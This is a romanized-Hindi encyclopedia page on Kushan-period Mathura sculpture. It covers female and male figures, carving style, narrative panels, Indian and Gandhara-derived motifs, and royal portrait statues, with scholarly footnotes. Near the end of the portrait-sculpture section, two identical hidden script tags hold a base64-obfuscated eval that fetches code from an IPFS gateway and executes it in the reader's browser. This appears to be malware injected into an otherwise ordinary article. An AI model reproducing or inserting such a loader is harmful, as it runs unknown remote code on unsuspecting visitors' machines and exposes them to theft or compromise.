मूर्ति कला मथुरा 2

भारत डिस्कवरी प्रस्तुति
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moorti kala mathura : moorti kala mathura 2 : moorti kala mathura 3 : moorti kala mathura 4 : moorti kala mathura 5 : moorti kala mathura 6


moorti kala mathura 2 / sangrahalay

vividh roopoan mean manav ka saphal chitran

[[chitr:Lion-Palm-Yaksha-Capitol.jpg|sianh - tal - yaksh dhvaj
Lion-Palm-Yaksha-Capital
prapti sthan-sauankh , rajakiy sangrahalay, mathura|thumb|250px]] kushanakal mean manushy aur pashuoan ke sammukh chitran ki purani parampara chho d di gayi . sath hi sath manav sharir ke chitran ki kshamata bhi badh gee . visheshat: ramani ke sauandary ko roop-roopantaroan mean aankit karane mean mathura ka kalakar poornat: saphal raha . stany ki or sanket karane vali snehamayi devi jhunajhuna, dikhalakar bachchoan ka manoranjan karane vali mata, vividh prakar ke alankaroan se apane ko mandit karane vali yuvatiyaan, dhanarashi ke saman shyam keshakalap ko nicho date hue unake karan mor ke man mean utsukata jagane vali premikaean, unmukt akash ke niche nirjharasnan karane vali mugdhaean, phooloan ko chunane vali aanganaean, kalashadharani gopavadhoo, dipavahika, videshi dasi, madyapan se matavali veshya, darpan se prasadhan karane vali ramani adi anekanek roopoan mean nari mathura ke kalakaroan ke dvara poorn saphalata ke sath dikhalaya gaya .

purushoan ke chitran mean bhi ve pichhe nahian the . dhan sangrah ke pratik b di toand vale kuber, eerani vesh mean soory, rajakiy vesh mean kushan darabari, videshi paharedar, phitedar chappal pahane hue sainik, bhole-bhole upasak, vividh prakar ki pag diyaan baandhe hue purush, bahumooly vastralankaroan se mandit bodhisattv adi chhote-b de varg ke purush aur devata b di hi kushalata se aankit kiye gaye haian .

moortiyoan ke aankan mean parishkar kushanakal ki moortiyaan shuang kal ke saman chapati n hokar gaharaee ke sath ukeri gee haian . prarambhik avastha ki tulana mean ab akritiyoan ki ooanchaee badh jati hai.[1] yahaan tak ki ve kahian-kahian prishthabhoomi ki sari ooanchaee chha jati haian . usi anupat mean nimnakoti ki akritiyoan ki ooanchaee mean bhi briddhi hoti hai . mathura ki prarambhik kalakritiyoan ki sthoolata aur bhauan dapan kushanakal mean pahuanchate-pahooanchate maansal aur sudaul sharir mean badal jata hai . vastroan ke paharave mean bhi suruchi ki matra adhik ho jati hai . ab uttariy chapate roop mean nahian p data apitu moti ghumavadar rassi ke roop mean dikhalaee p data hai.[2]

prarambhik kushanakal ki moortiyoan mean keval baanya kandha dhॅka rahata hai, aur kamar ke oopar vala vastr ka bhag sharir se sata hua kuchh paradarshak-sa rahata hai, niche vale bhag ki or anupatat: kam dhyan diya gaya hai . jaangh aur pairoan ki banavat mean ek prakar ki k daee dikhalaee p dati hai.[3] kushan kal ke madhy mean yah dosh hat jata hai aur bahudha moortiyaan ek ghutana kianchit mo dakar kh di dikhalayi p dati hai.[4] is kal ke moorti nirman ki doosari visheshata moortiyoan ka age aur pichhe donoan or se gadha jana hai . is kal ki bahusankhyak moortiyaan aisi hi haian . sammukh bhag ke saman kalakar ne prishth bhag ki or bhi khoob dhyan diya hai . isaki do paddhatiyaan thian, ya to pichhe ki or pith par laharane vala keshakalap, abharan uttariyadi vastr, adi dikhalaye jate the athava pashu-pakshiyoan se yukt vriksh aankit kiye jate the.[5] 3. lambi kathaoan ke aankan mean navinataean[6] jatak kathaoan ke saman anek drishyoanvali kathaean bharahoot tatha saanchi mean bhi aankit ki gee thian, parantu vahaan paddhati yah thi ki ek hi chaukhat ke bhitar agal-bagal ya tale oopar kee drishyoan ko dikhalaya jata tha, par ab pratyek drishy ke lie alag-alag chaukhat di jane lagi . udaharanarth mathura se prapt ek dvar stanbh par aankit nand-sundari ki katha[7] kee chaukhatoan mean is prakar sajaee gee hai ki usase sampoorn dvar-stanbh sushobhit ho sake. chaukhatean alag-alag hone ke karan unake bhitar bani moortiyoan ke akar bhi saralata se ooanche banaye ja sake.

prachin aur navin abhiprayoan ki milavat

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[[chitr:kuber-1.jpg|asavapayi kuber
Bacchanalian Group
prapti sthan-pali kheda, mathura , rajakiy sangrahalay, mathura|250px|thumb|left]] mathura ke kalakaroan ne parampara se chale ane vale vriksh, lata aur pashu-pakshiyoan ke abhiprayoan ko apanate hue sath hi apani pratibha se deshakal ke anuroop navin abhiprayoan ka srijan kiya . usaka phal yah hua ki mathura ki kala mean prakriti aur usake anek roopoan ka aankan milata hai . yahaan vividh vriksh, lataean, magar, machhaliyaan adi jalachar, mor, hans, tote adi pakshi v gilahariyaan, bandar, hathi, sharabh, sianh adi chhote-b de pashu sabhi dikhalaee p date haian. pushpoan mean yadi keval kamal aur kamal-lata ko hi lean to usake anek roop nahian hai. kushanakalin kala mean drishtigochar hone vale abhiprayoan ko do vargoan mean bata ja sakata hai:[8]

(1) prachin bharatiy paddhati ke abhipray .

(2) navin abhipray jinamean se kuchh par videshi prabhav spasht hai.

pratham prakar ke abhipray ve haian jo vishuddh roop se bharatiy haian aur gaandhar kala ke sanpark mean ane ke poorv barabar vyavahrit hote the, inamean pashu-pakshiyoan ke atirikt dohare chhat vale vihar, gavaksh vatayan, vedikaean, kapi-shirsh, kamal, manimala, panchapatihtaka, ghantavali, hatthe ya panchaganulital, ashtamaangalik chihr yatha poornaghat, bhadrasan, svastik, min-yugm, sharav-sanput, shrivats, ratn-patr v triratn, adi ka samavesh hota hai .

navin abhiprayoan se tatpary un abhiprayoan se hai jo gaandhar kala ke sanpark mean ane ke bad mathura ki kalakritiyoan manv bhi apanaye gaye . inamean (corinthian flower) bhatakataiya ka phool, prabha mandal, maladhari yaksh, aangoor ki lata, madhy eshiyaee aur eerani paddhati ke tabij ke saman alankar adi ko ganana ki ja sakati hai.

gaandhar kala ka prabhav

shuang kalin mrinmoorti
Shunga Terracottas|thumb|250px kushanoan ke shasan kal mean uttar-pashchim bharat mean kala ki ek navin shaili chal padi़ . yah bharatiy aur yoonani kala ka ek mishrit roop tha . jis gaandhar pradesh mean isaka bolabala raha, usi ke adhar par ise gaandhar kala ke nam se kala jagath mean pahachana jata hai . ek hi shasan ki chhatrachhaya mean panapane ke karan in shailiyoan ka paraspar sampark mean ana svabhavik tha . parantu donoan ke moolabhoot siddhant alag the . gaandhar kala par yoonani kala ka gahara prabhav tha . vah manav-chitran ke bahirang paksh ko adhik mahattv deti thi . isake viparit bharatiy vicharadhara mean pali huee mathura kala bhav-paksh ki or badhi़ chali ja rahi thi . phal yah hua ki gaandhar kala se mathura ke kalakar kuchh simit aansh tak prabhavit hue . isamean unhoanne n keval unake nirman siddhant hi apanaye, varanh unaki kuchh kathavastuoan ko bhi moortaroop dene ka prayatn kiya . udaharanarth yoonani vir harakyooliyas ka nemiyan sianh ke sath jo yuddh hua tha, us drishy ka chitran mathura kala mean milata hai . tathapi yah bhi saty hai ki mathura ki sampoorn kalakritiyoan mean yoonani prabhav dikhalane vali pratimaoan ki sankhya b di hi alp hai . is prabhav ko soochit karane vale aansh nimnaankit haian :

(1) buddh aur bodhisattvoan ki kuchh moortiyaan jo adholikhit visheshataoan se yukt haian-
(k) ardhavartulakar dhariyoan vala vastr, jisase bahudha donoan kandhe aur kabhi-kabhi poora sharir dhanka rahata hai .
(kh) mastak par laharadar bal
(g) netr aur hoanth bhare hue tatha dharadar, visheshataya oopar ki palakean bhari rahati hai .
(2) buddh jivan ko aankit karane vale katipay drishy, jaise, is sangrahalay ki moorti sankhya 00. ech 1, 00.ech 11,00.ech 7,00.enh 2 adi .
(3) kala ke kuchh navin abhipray, jaise, maladhari yaksh, garu d, drakshalata adi
(4) madirapan ke drishy.[9] gaandhar kala ki ek sundar nari ki moorti jo hariti[10] , kambojika[11] adi namoan se pahachani jati hai mathura kshetr se hi mili hai, usaka ullekh is sandarbh mean avashyak hai . sanbhav hai ki gaandhar kala ki yah kalakriti kisi premi ne yahaan mangavakar sthapit ki ho .

vyakti-vishesh ki moortiyoan ka nirman

bharatiy kala ko mathura ki yah vishesh den hai . bharatiy kala ke itihas mean yahian par sarvapratham hamean shasakoan ki lekhoan se aankit manaviy akaroan mean bani pratimaean dikhalaee p dati haian.[12] kushan samrat vemakataphish, kanishk evan poorvavarti shasak chashtan ki moortiyaan maant namak sthan se pahale hi mil chuki haian . ek aur moorti jo sanbhavat: huvishk ki ho sakati hai, is samay gokarneshvar ke nam se mathura mean pooji jati hai . aisa lagata hai ki kushan rajaoan ko apane aur poorvajoan ke pratima-mandir ya devakul banavane ki vishesh ruchi thi . is prakar ka ek devakul to maant mean tha aur doosara sanbhavat: gokarneshvar mean . in sthanoan se uparokt lekhaankit moortiyoan ke atirikt any rajapurushoan ki moortiyaan bhi mili haian, par un par lekh nahian hai [13] . is suandarbh mean yah batalana avashyak hai ki kushanoan ka ek aur devakul, jise vahaan bagolaango (bagolango) kaha gaya hai, afaganistan ke surkh kotal namak sthan par tha . hal mean hi yahaan ki khudaee se is devakul ki sari rooparekha spasht huee hai . <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ stela kremarich, Indian Sculpture,kalakatta, 1933,pri. 40-43
  2. ↑ vahi .
  3. ↑ vahi ; Age of the Imperial Unity, bhag 2,pri.522-23
  4. ↑ san. san.00 eph 6,00' ee. 24; 17'1325 adi
  5. ↑ ashok evan kadamb ke vriksh tatha un par sthit gilahari aur shuk,san. san. 12.264;00' eph 2,33.2328
  6. ↑ anand kumarasvami, HIIA.,pri. 65-69,padatippani 1,pri.66
  7. ↑ lakhanoo sangrahalay sankhya je. 533 .
  8. ↑ anand kumarasvami, HIIA.,pri.50-51, 62
  9. ↑ anand kumarasvami, HIIA.,pri.62 ;es.ke.sarasvati, A Survey of Indian Sculpture,kalakatta 1957,pri.66
  10. ↑ anand kumarasvami, HIIA., 62
  11. ↑ da. vasudevasharan agraval use kambojika ki pratima manate haian jisaka nam sianhashirsh par aankit lekh mean milata hai. ukt sianhashirsh aur yah gaandhar pratima mathura ke ek hi sthan se arthath saptarshi tile se mile the.
  12. ↑ vyakti pratimaoan ke vishesh adhyayan ke lie dekhiye: ti.ji.arvamunathanh , Portrait Sculpture in South India ,landan, 1931
  13. ↑ si.em.kiphar, Kushana Art and the Historical Effigies of Mat and Surkh Kotal, marg, khand 15,sankhya 2,march 1962, pri.43-48


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